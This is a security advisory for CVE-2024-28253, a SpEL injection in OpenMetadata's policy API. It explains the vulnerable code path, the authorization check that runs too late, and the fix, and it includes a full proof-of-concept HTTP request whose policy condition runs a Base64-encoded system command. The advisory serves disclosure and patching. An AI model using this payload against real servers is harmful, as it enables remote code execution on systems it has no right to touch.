ghsa-7vf4-x5m2-r6gr
Vulnerability from github
SpEL Injection in PUT /api/v1/policies
(GHSL-2023-252
)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability
CompiledRule::validateExpression
is also called from PolicyRepository.prepare
```java @Override public void prepare(Policy policy, boolean update) { validateRules(policy); } ... public void validateRules(Policy policy) { List rules = policy.getRules(); if (nullOrEmpty(rules)) { throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY); }
// Validate all the expressions in the rule
for (Rule rule : rules) {
CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));
// Remove redundant resources
rule.setResources(filterRedundantResources(rule.getResources()));
// Remove redundant operations
rule.setOperations(filterRedundantOperations(rule.getOperations()));
}
rules.sort(Comparator.comparing(Rule::getName));
} ```
prepare()
is called from EntityRepository.prepareInternal()
which, in turn, gets called from the EntityResource.createOrUpdate()
:
```java public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation ResourceContext resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); } ```
Note that even though there is an authorization check (authorizer.authorize()
), it gets called after prepareInternal()
gets called and therefore after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/policies
which gets handled by PolicyResource.createOrUpdate()
:
java
@PUT
@Operation(
operationId = "createOrUpdatePolicy",
summary = "Create or update a policy",
description = "Create a new policy, if it does not exist or update an existing policy.",
responses = {
@ApiResponse(
responseCode = "200",
description = "The policy",
content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdate(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
return createOrUpdate(uriInfo, securityContext, policy);
}
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode the command to be run (eg:
touch /tmp/pwned
) using Base64 (eg:dG91Y2ggL3RtcC9wd25lZA==
) - Create the SpEL expression to run the system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- Encode the command to be run (eg:
- Send the payload using a valid JWT token:
```http PUT /api/v1/policies HTTP/1.1 Host: localhost:8585 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24" Authorization: Bearer accept: application/json Connection: close Content-Type: application/json Content-Length: 367
{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
``
- Verify that a file called
/tmp/pwned` was created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution by a registered and authenticated user
Remediation
Use SimpleEvaluationContext
to exclude references to Java types, constructors, and bean references.
{ "affected": [ { "package": { "ecosystem": "Maven", "name": "org.open-metadata:openmetadata-service" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.3.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-28253" ], "database_specific": { "cwe_ids": [ "CWE-94" ], "github_reviewed": true, "github_reviewed_at": "2024-04-23T21:11:23Z", "nvd_published_at": "2024-03-15T20:15:09Z", "severity": "CRITICAL" }, "details": "### SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)\n\n**Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability** \n\n`CompiledRule::validateExpression` is also called from [`PolicyRepository.prepare`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113)\n\n```java\n @Override\n public void prepare(Policy policy, boolean update) {\n validateRules(policy);\n }\n ...\n public void validateRules(Policy policy) {\n List\u003cRule\u003e rules = policy.getRules();\n if (nullOrEmpty(rules)) {\n throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);\n }\n\n // Validate all the expressions in the rule\n for (Rule rule : rules) {\n CompiledRule.validateExpression(rule.getCondition(), Boolean.class);\n rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);\n rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));\n\n // Remove redundant resources\n rule.setResources(filterRedundantResources(rule.getResources()));\n\n // Remove redundant operations\n rule.setOperations(filterRedundantOperations(rule.getOperations()));\n }\n rules.sort(Comparator.comparing(Rule::getName));\n }\n```\n\n`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):\n\n```java\npublic Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {\n repository.prepareInternal(entity, true);\n\n // If entity does not exist, this is a create operation, else update operation\n ResourceContext\u003cT\u003e resourceContext = getResourceContextByName(entity.getFullyQualifiedName());\n MetadataOperation operation = createOrUpdateOperation(resourceContext);\n OperationContext operationContext = new OperationContext(entityType, operation);\n if (operation == CREATE) {\n CreateResourceContext\u003cT\u003e createResourceContext = new CreateResourceContext\u003c\u003e(entityType, entity);\n authorizer.authorize(securityContext, operationContext, createResourceContext);\n entity = addHref(uriInfo, repository.create(uriInfo, entity));\n return new PutResponse\u003c\u003e(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();\n }\n authorizer.authorize(securityContext, operationContext, resourceContext);\n PutResponse\u003cT\u003e response = repository.createOrUpdate(uriInfo, entity);\n addHref(uriInfo, response.getEntity());\n return response.toResponse();\n}\n```\n\nNote that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated.\n\nIn order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by [`PolicyResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365):\n\n```java\n@PUT\n@Operation(\n operationId = \"createOrUpdatePolicy\",\n summary = \"Create or update a policy\",\n description = \"Create a new policy, if it does not exist or update an existing policy.\",\n responses = {\n @ApiResponse(\n responseCode = \"200\",\n description = \"The policy\",\n content = @Content(mediaType = \"application/json\", schema = @Schema(implementation = Policy.class))),\n @ApiResponse(responseCode = \"400\", description = \"Bad request\")\n })\npublic Response createOrUpdate(\n @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {\n Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());\n return createOrUpdate(uriInfo, securityContext, policy);\n}\n```\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n\n#### Proof of concept\n- Prepare the payload\n\t- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)\n\t- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n- Send the payload using a valid JWT token:\n\n```http\nPUT /api/v1/policies HTTP/1.1\nHost: localhost:8585\nsec-ch-ua: \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nAuthorization: Bearer \u003cnon-admin JWT\u003e\naccept: application/json\nConnection: close\nContent-Type: application/json\nContent-Length: 367\n\n{\"name\":\"TeamOnlyPolicy\",\"rules\":[{\"name\":\"TeamOnlyPolicy-Rule\",\"description\":\"Deny all the operations on all the resources for all outside the team hierarchy..\",\"effect\":\"deny\",\"operations\":[\"All\"],\"resources\":[\"All\"],\"condition\":\"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\u0027dG91Y2ggL3RtcC9wd25lZA==\u0027)))\"}]}\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.", "id": "GHSA-7vf4-x5m2-r6gr", "modified": "2024-04-24T14:34:35Z", "published": "2024-04-23T21:11:23Z", "references": [ { "type": "WEB", "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28253" }, { "type": "WEB", "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection" }, { "type": "PACKAGE", "url": "https://github.com/open-metadata/OpenMetadata" }, { "type": "WEB", "url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693" }, { "type": "WEB", "url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219" }, { "type": "WEB", "url": "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365" }, { "type": "WEB", "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113" }, { "type": "ADVISORY", "url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "type": "CVSS_V3" } ], "summary": "OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.